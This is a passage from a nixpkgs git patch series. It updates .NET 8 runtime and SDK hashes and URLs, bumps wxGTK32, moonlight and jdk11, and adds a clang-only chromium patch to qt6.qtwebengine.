-        hash = "sha512-jsx0qVkTEo56VGFjlUH9hhnAMH1JYGLGPFAi44r+op9wozgJM2HVwwnqUcqtVGP7x+yK5rhr4n0+kmdWQkEOFw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-arm64.tar.gz";
+        hash = "sha512-eBdKcYFy/lGNAEo8H+/L7HMe32jip3dMb6lRIwgRUvLJUe/mxhStnB+RWJfAl43GD+ecn5tuw+KKHpBQ94U2fg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-osx-x64.tar.gz";
-        hash = "sha512-KAqOpgHl1xLNORTYT/l1+Hj0tX7fYZnoBa+TuWhWumLQL2yfha9lhg8QjM+w7q3Usqr+E6bkkv4+IYDjRU/Y2w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-x64.tar.gz";
+        hash = "sha512-P1koY2bq198GFJUHuMHHkE5hSg+U2P8SjRrAS55LL6owje62extXbEA5HNWSaTYXuwVIoUQft8VeF6dFb3nHnQ==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.16";
+    version = "8.0.17";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-arm.tar.gz";
-        hash = "sha512-PyRbnUYDgJGX2B2AoH1FE8jRYIF5sfQGm+3jxrz26Njrd8dPX/rahfuK9RcFKifT5K3lRjGUVX3rManwJBfk/A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm.tar.gz";
+        hash = "sha512-u2G7Xl3rf7wDDAh/2mA738EqgzP7QK6752Df1cSkmkoSsqYDqhzhb2ZgZNb5OuwS/hb3E240tPXheX4Yc5hPXA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-arm64.tar.gz";
-        hash = "sha512-3bFN2M7PiAaWmBJiWRk6JaabS0eu2iqhZByMAwGy5XYJWZgct2fX8UrTfKmZNsQTb119LrUdSGAxjnr6NHR1Lg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm64.tar.gz";
+        hash = "sha512-5C+8g7+C7kIvF/Hrcu5/T+9sGQSPrqEGBYcVwXX7iKqT+K+02dHfaC0Lz05n8aH0xpz7QtXTxm3YYoqO/ctBEA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-x64.tar.gz";
-        hash = "sha512-4JJPiLZ5XWaeXGJ4hFpXS3X72bWutjoO1jgiT7jT1IuRuyqa+yct/V9A6CQdQahHkrn8/kJuj9z6FBFrwTLO4g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-x64.tar.gz";
+        hash = "sha512-1XM4i9ZN6xLmRk/GpCQPbtfNHGsXNwCWMEuKwtgAMYw682+BhaO3gK/lKwQYJN7vnTd6lqa67XWcgoOCkFRkmg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-arm.tar.gz";
-        hash = "sha512-obQ9XKIxX9qNN3fSCqqeRyWmhnsEMNkxBp5lMN7DLmxu9kEy5xeIKO0QxaNp+MDCt6QmASt17mF+s89lMFrbKA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm.tar.gz";
+        hash = "sha512-MHewWpOmltw0lw1ibcafCOFzw1S72XmZFATXmJnEHr8/upiE1CqPhS5IHuhdjKhesq764x+OSusvdpHVHp3z7w==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-arm64.tar.gz";
-        hash = "sha512-mvLKdnzZTiO46RZVgqutGOEdPyXJcvq60ZuXQ1FEd0qkJ3RuYFYTL6I2HiN4Fc416LYkRkHZL1EUJyI1Zau5IQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm64.tar.gz";
+        hash = "sha512-gH6LRXbnGWJAY0nzJQaltKvXKR1L98lR5euA/KzPd8w/G1f+TnEQ0LcWlVTg6JBcSYi7dBfwMJvey8rcquy9Zg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-x64.tar.gz";
-        hash = "sha512-rnf//h/I5rZaaQi8b4tBOz3BWonbGkJZdK12hr8wewaAdvdweboGIkEpp0IJwQqrp6QYpePd9Nvu+InC/E2iPA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-x64.tar.gz";
+        hash = "sha512-6prPLtAa/fUdiQiXboZjXXBOFSSdet5LNrLcifBO247YK0DgUxXOz1/cDpKd006VgPcDeSEprSxc4koDsKYkbg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-osx-arm64.tar.gz";
-        hash = "sha512-c8NROsGHgdLpMFPdhclEfM3qff5szTjfmjYW91Hw9m/cTkN2Xy4o8ZtvI9jQdGmOAr5dksFNbQm3tMocKdR2Eg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-arm64.tar.gz";
+        hash = "sha512-n3f8O0/8yixku23sVpGoNDapoQTSnHGBC1+khTUCbuyx+7x4Ae6XgzNhmPDQj8kts01VkyeMpcE2A1Vthnph3A==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-osx-x64.tar.gz";
-        hash = "sha512-9oAY2+9/jVtVNQ4sxDHF6a343rtnyXGii8jeD7/Sc7NCX0ph/T21RvtlCjXOzntUu+ZVMpTE0n9YRugyMA5AHA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-x64.tar.gz";
+        hash = "sha512-+vANPgV66ZcfMKKTfDI39so/qUkDK9q5KasLr8mXtCPBglMUCr3/rRa8tFGdSD+4tdCwP+PmPjRwWHmxqNbsOw==";
       };
     };
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.116";
+    version = "8.0.117";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-arm.tar.gz";
-        hash = "sha512-FfLxzRXFY1wiIw8z/TBGb7vnjUbeCak+S5NwVze6vzae1/C5EZZeyj+PbHpmGvYLqxW1Ug4iMp+aJ+1BisIm9Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm.tar.gz";
+        hash = "sha512-CgzKANmRmMKHWU7s/z1Kxm8yqhhtuDt4gicZu+pnLIdGA66Du6xnsmUXvb0FkZ6fGJE/wX8cwNUa1H2CHicxvg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-arm64.tar.gz";
-        hash = "sha512-jyC6TSULBIslAreV70m/A9gzMyx8Sr57cSY4xIh7S7dmabwXzVV3BkJmRmH7MrdbGEcVyPpq5VAD9yrIOyFWQw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm64.tar.gz";
+        hash = "sha512-m2XhpXkkDlNweYvR2F8+D/5rj+t7bIgyjbkHBq037jjiBDlHRbd4tZ3UHAZMA6N8B/DeU09/D+AR0TDGJjYUig==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-x64.tar.gz";
-        hash = "sha512-lsY0oNFnhCn+3pkwM2ugNR0VELxNBFa51yJcXJ1YfXAOjzDoQd/Wdf/4qMcJy+8gnKh9Ectlf8svISte767Icg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-x64.tar.gz";
+        hash = "sha512-pnObWHt3axVv/hnSVxGxQSYbe1vs/wDLga7lsvBpT0YAeZxiXrhE1bp0ID3VoSEdw0urYsVJYf5+t6kuGn2/dw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-arm.tar.gz";
-        hash = "sha512-UGE9fDJJLJksfQGfGE8JcakRQTfsn7LrtJIbhpnv/YKKwqH3f7Yb4fRc0f7Ekz1uQA1EkdorkQb0dZt0lJQxPw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm.tar.gz";
+        hash = "sha512-BUD69RdN8N2xb8DlyobhKNDUteSSnfYjpBx2sG8w3UjRENILeFRIBkID404apOcTtlXUKfvNNhf4K2CVxHlANA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-arm64.tar.gz";
-        hash = "sha512-xmoQFBSkDmJTMKjLyFn7uKxUXIcaNCnoXWt4kAOzzC0gJumBBTliSO2KZq8p7/GbE+lLCrXAYK7449OML2ezdg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm64.tar.gz";
+        hash = "sha512-2Rn9gNkGDv4f27BHZU8k3k3DngfQI27My3AfN2R+a1i7QQVXmt2nT5xAkZCK//Wr777DbIG0hYisbRY7IigE6g==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-x64.tar.gz";
-        hash = "sha512-47A8T6hvHfvHAJlTAAgqgdxK8j3ypZyjtpyJ4NNy48yVRL2wXuAsD2FUsrrJevAAFkxSSuvQqpFuxy3zKbZThA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-x64.tar.gz";
+        hash = "sha512-8BtBJhZ5lcNSYv/ndp0hymsFWzmIL1zMtoU6wvTDBzYlByDzicy42RQywYLkldWbhrPDbR7facGUJkkmUlsmRw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-osx-arm64.tar.gz";
-        hash = "sha512-2HyTfYHHtBXcK/7fMV2s5giWsP9b7GTQF9q2EqrBpUSCrcfFnYYSUn5iLCJW1ehwBaIR89M4kNM/o8+uABx11Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-arm64.tar.gz";
+        hash = "sha512-asjtVua8XA2rnp11nv37jqtpDknaTzJqple7pPBzINi7VAM/xw01AIdrI9tX2FqmgyXXZlNbkqirJKufSC98ag==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-osx-x64.tar.gz";
-        hash = "sha512-Pj1nGgahBXZRrtE3jGTt6dz3tGsAXmil2RnOW/K1VTuZroKQn/H6e/kU1n+swRiYsOHPxI7Rx5wcT7+XcwhUUg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-x64.tar.gz";
+        hash = "sha512-sOvJ3YuHX8e5TphubByaLVFhPjKXkWMwUITalCNeGXSmFIhSgdgOKCfhXXd1u4u/AAH3dR/mgZH3EL2rJGXl5g==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/8/deps.json b/pkgs/development/compilers/dotnet/8/deps.json
index 6c00e387a0a7..f3d7e012a937 100644
--- a/pkgs/development/compilers/dotnet/8/deps.json
+++ b/pkgs/development/compilers/dotnet/8/deps.json
@@ -19,50 +19,50 @@
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "485cc4c76fb1751f10f96f1a3a31c6e3b34f9ccf21aff007f6e299783770e279",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "sha256": "e177fd7f5ac5d0338b39b1221761a3948a430a9e3fdee53edffd0176435136ce",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "a41d1f12683d1e78cdbcfbae3da897be8e67f1c36cebc9aff7fdcab73e06ccc0",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "sha256": "05f3649e566a64715fcbc54904b050aaff8c3b4fd951679603af2dd1f2684542",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   },
   {
-    "hash": "sha256-yLIojj1GuucdeVGBCMWpSyNSYz9UB7Kgf3Z0tBn1Hcs=",
+    "hash": "sha256-otVdsOqE7P6o1rWd1vda3Qvy6IdPLHaYx9C2Od9GkPs=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.linux-x64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.linux-x64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   },
   {
-    "hash": "sha256-eiZ2r4bU86pJP9uhwZrXzYG2aNVCk5Ih/CYV64oX0B0=",
+    "hash": "sha256-MW+OmpBFpT67jnTfPuFMZKv8b0+jqXKn9UR+a6LI6FY=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.linux-x64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.linux-x64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "c82200bcd92ca0de2d0c079b96c0e3dbac3e17688a5857cc91ebd6a19adffd58",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "sha256": "b4ebae53b0ba10d1ebd101a3c74cca4e101f3f22edd6ace039d16c1a3b8516ee",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "b9f2e63ac07740e093829220996e16d40e325cb2f09d03b7dbdb9cc754408904",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "sha256": "589ca009f3dbe27d7d96e64fab6b2f5fc6c04c2ce84454a65333f52d84efe117",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "6410989c97ea00d97b6d6c494ee9e057db4f2d9d0838c6c2fc8c287b40285d41",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.osx-x64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "sha256": "e093837ba7ef8e1d4f3a15e6079911850c72e51f5cfc0641cedb13a4eff846d2",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.17-servicing.25266.2/runtime.osx-x64.microsoft.netcore.ilasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "b8d2b7f24768d3ac2655e30f77aac4ffc696ad8ef419203f253f569d253f24ca",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.osx-x64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
-    "version": "8.0.16-servicing.25215.6"
+    "sha256": "322f70cf8d23ca01636a02539a2b03d29230352786b09301d0fd6e4e0c5aae3c",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.17-servicing.25266.2/runtime.osx-x64.microsoft.netcore.ildasm.8.0.17-servicing.25266.2.nupkg",
+    "version": "8.0.17-servicing.25266.2"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/8/release-info.json b/pkgs/development/compilers/dotnet/8/release-info.json
index 91d5948f8c4a..02aa8d845128 100644
--- a/pkgs/development/compilers/dotnet/8/release-info.json
+++ b/pkgs/development/compilers/dotnet/8/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-F9gpgqdOLyVa1tFxtysxdHEJVwTCe+WNuVoMtn0jfBI=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.116-servicing.25219.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-vX8Tri52OaW0OwXV2DgdiwVgj7LCDZVqSm/pxsjN5dc="
+  "tarballHash": "sha256-RVXgFRVTdQ3jhPI1AGoikK56b7ZNQj3GB0Cm+7ynf9M=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.117-servicing.25269.1.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-aTIMtLGeRxTdY8laeBqmV9HEgbwcCObYV1S3tHt+hS8="
 }
diff --git a/pkgs/development/compilers/dotnet/8/release.json b/pkgs/development/compilers/dotnet/8/release.json
index a81d55231aaf..ea50ea951114 100644
--- a/pkgs/development/compilers/dotnet/8/release.json
+++ b/pkgs/development/compilers/dotnet/8/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "8.0.17",
+  "release": "8.0.18",
   "channel": "8.0",
-  "tag": "v8.0.17",
-  "sdkVersion": "8.0.117",
-  "runtimeVersion": "8.0.17",
-  "aspNetCoreVersion": "8.0.17",
+  "tag": "v8.0.18",
+  "sdkVersion": "8.0.118",
+  "runtimeVersion": "8.0.18",
+  "aspNetCoreVersion": "8.0.18",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "30c331373e55effdf3c799bdec8751e6ee5367f6"
+  "sourceVersion": "f4d2dc9c002dee003c875b89729d1ce958c24a9e"
 }

From 782e7931963a42fbcca2b9e7f0b73e9bdfdf41c1 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Wed, 21 May 2025 21:39:21 +0200
Subject: [PATCH 2311/4511] wxGTK32: 3.2.7.1 -> 3.2.8.1

https://github.com/wxWidgets/wxWidgets/releases/tag/v3.2.8
https://github.com/wxWidgets/wxWidgets/releases/tag/v3.2.8.1
(cherry picked from commit 16261208fcf5ab6e5fadde0d43c149c982a24dba)
---
 pkgs/by-name/wx/wxGTK32/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wx/wxGTK32/package.nix b/pkgs/by-name/wx/wxGTK32/package.nix
index 32d7c9489df9..f3cc7693a4b8 100644
--- a/pkgs/by-name/wx/wxGTK32/package.nix
+++ b/pkgs/by-name/wx/wxGTK32/package.nix
@@ -47,13 +47,13 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "wxwidgets";
-  version = "3.2.7.1";
+  version = "3.2.8.1";
 
   src = fetchFromGitHub {
     owner = "wxWidgets";
     repo = "wxWidgets";
     rev = "v${version}";
-    hash = "sha256-CKU0Aa78YrtGKLE9/MF9VNc2fmzPZ1j4lviX1aAv9cQ=";
+    hash = "sha256-aXI59oN5qqds6u2/6MI7BYLbFPy3Yrfn2FGTfxlPG7o=";
   };
 
   nativeBuildInputs = [ pkg-config ];

From 1fd21103c54e49cafeb62f6f9ea98d69a3dcd161 Mon Sep 17 00:00:00 2001
From: isabel <isabel@isabelroses.com>
Date: Thu, 10 Jul 2025 11:10:41 +0100
Subject: [PATCH 2312/4511] moonlight: 1.3.21 -> 1.3.22

(cherry picked from commit f0f6647a0326dd2d0218b9e5ff5fe25e7c617d71)
---
 pkgs/by-name/mo/moonlight/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index 7dcba6fd299e..c5341bd1bc91 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.21";
+  version = "1.3.22";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-E8iHTYK9iUtIjYgBNj54Xeulj9WaxSGDbzOLLFhCSqA=";
+    hash = "sha256-mn6f4ci5C2jkyxgmBHQ4dI9V0/20DlyS6EbQz4w7znc=";
   };
 
   nativeBuildInputs = [
@@ -27,7 +27,7 @@ stdenv.mkDerivation (finalAttrs: {
 
     buildInputs = [ nodejs_22 ];
 
-    hash = "sha256-FOhaBm0mc7rHBGzenqRWsxGwktXTq25n/6yz7IURYXY=";
+    hash = "sha256-vrSfrAnLc30kba+8VOPawdp8KaQVUhsD6mUq+YdAJTY=";
   };
 
   env = {

From d728f82eabfc2309d959cde674671f737bef23d1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 4 May 2025 08:24:56 +0000
Subject: [PATCH 2313/4511] jdk11: 11.0.26+4 -> 11.0.27+6

(cherry picked from commit 34180c104a0a6450819de08858acbc718b39c971)
---
 pkgs/development/compilers/openjdk/11/source.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/openjdk/11/source.json b/pkgs/development/compilers/openjdk/11/source.json
index f9a8b2d90a4b..854db3dcf00b 100644
--- a/pkgs/development/compilers/openjdk/11/source.json
+++ b/pkgs/development/compilers/openjdk/11/source.json
@@ -1,6 +1,6 @@
 {
-  "hash": "sha256-7yeyr2UbMntuOtEjRLdLoiyN0zC+fZZSGL9XxI2D7GU=",
+  "hash": "sha256-2LZJBF8d6TsNFWBhnH7Z8i6ulavzKetPK2A9g0o79Ks=",
   "owner": "openjdk",
   "repo": "jdk11u",
-  "rev": "refs/tags/jdk-11.0.26+4"
+  "rev": "refs/tags/jdk-11.0.27+6"
 }

From d3f6db7df25ac892d27740b91675821a642acb74 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Thu, 10 Jul 2025 01:08:17 +0800
Subject: [PATCH 2314/4511] qt6.qtwebengine: fix build

(cherry picked from commit 7f96522ec71de7cfaff72e4f68861265a15c1287)
---
 .../qt-6/modules/qtwebengine/default.nix      | 33 ++++++++++++-------
 1 file changed, 22 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
index 710c53091de1..44ab5d63eb45 100644
--- a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
@@ -7,6 +7,7 @@
   buildPackages,
   bison,
   coreutils,
+  fetchpatch2,
   flex,
   git,
   gperf,
@@ -100,20 +101,30 @@ qtModule {
   # which cannot be set at the same time as -Wformat-security
   hardeningDisable = [ "format" ];
 
-  patches = [
-    # Don't assume /usr/share/X11, and also respect the XKB_CONFIG_ROOT
-    # environment variable, since NixOS relies on it working.
-    # See https://github.com/NixOS/nixpkgs/issues/226484 for more context.
-    ./xkb-includes.patch
+  patches =
+    [
+      # Don't assume /usr/share/X11, and also respect the XKB_CONFIG_ROOT
+      # environment variable, since NixOS relies on it working.
+      # See https://github.com/NixOS/nixpkgs/issues/226484 for more context.
+      ./xkb-includes.patch
 
-    ./link-pulseaudio.patch
+      ./link-pulseaudio.patch
 
-    # Override locales install path so they go to QtWebEngine's $out
-    ./locales-path.patch
+      # Override locales install path so they go to QtWebEngine's $out
+      ./locales-path.patch
 
-    # Reproducibility QTBUG-136068
-    ./gn-object-sorted.patch
-  ];
+      # Reproducibility QTBUG-136068
+      ./gn-object-sorted.patch
+    ]
+    ++ lib.optionals stdenv.cc.isClang [
+      # https://chromium-review.googlesource.com/c/chromium/src/+/6445471
+      (fetchpatch2 {
+        url = "https://github.com/chromium/chromium/commit/f8f21fb4aa01f75acbb12abf5ea8c263c6817141.patch?full_index=1";
+        stripLen = 1;
+        extraPrefix = "src/3rdparty/chromium/";
